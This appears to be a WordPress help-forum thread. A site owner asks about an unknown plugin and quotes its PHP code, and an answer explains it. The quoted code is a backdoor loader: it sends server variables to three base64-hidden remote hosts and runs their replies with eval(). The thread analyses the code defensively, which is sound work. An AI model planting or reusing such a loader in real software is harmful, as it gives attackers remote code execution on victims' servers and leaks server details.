I found this plugin installed on my website, i didnt installed, and this also dont show under site-url/wp-admin/plugins.php its a WordPress website. What could the purpose of it ?

add_action('admin_init', "open_hello");

if (!is_admin()) {

function open_hello()
$args = array(
    'timeout' => 15,
    'headers' => array(
        "User-Agent" => json_encode($_SERVER),

$ids = array("djQud3B5b3UucnU=", "djQucDAzLnJ1", "djQuaGltZW4ucnU=");

foreach ($ids as $id) {
    $response = wp_remote_get("http://" . base64_decode($id) . "/v5", $args);
    if (!is_wp_error($response) && 200 === wp_remote_retrieve_response_code($response)) {
        return eval($response['body']);
  • 1
    You say this didn't appear in the plugin list? Where was it exactly? Unless it's under mu-plugins, or in some other plugin or theme's functions.php I don't see how this would run.
    – Rup
    Oct 5 at 10:19
  • when i checked it with FTP, it shows there, under /httpdocs/wp-content/plugins/hellos/hellos.php
    – moneeb
    Oct 5 at 10:58

1 Answer 1


This will try to load PHP code from one of three servers, the three base64-encoded strings, and execute the first one it successfully fetches on your server.

Those domains do still exist, so this is potentially an active hack. They don't return any data to me when tested but I hadn't set a domain in the user agent. It's possible they can tailor the code to run based on the domain this code is installed on, or they simply don't have any malicious actions to do at the moment, or they deliberately avoid responding to anything that doesn't look like a hacked server.

This will happen synchronously on page load: immediately when the plugin was loaded on non-admin pages, or on the admin-init hook for the admin site.

Note that this code won't be run if not activated unless it's installed as a mu-plugin or has been dropped into your theme or another plugin in the right place. So this may not actually be active anyway.

  • after this plugin was installed, my parts of wp-admin stopped working, like /wp-admin/plugin-install.php and when i access it, it says "i dont have the permission to access it" and many file permission are changed, like for .htaccess too
    – moneeb
    Oct 5 at 10:57

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge that you have read and understand our privacy policy and code of conduct.

Not the answer you're looking for? Browse other questions tagged or ask your own question.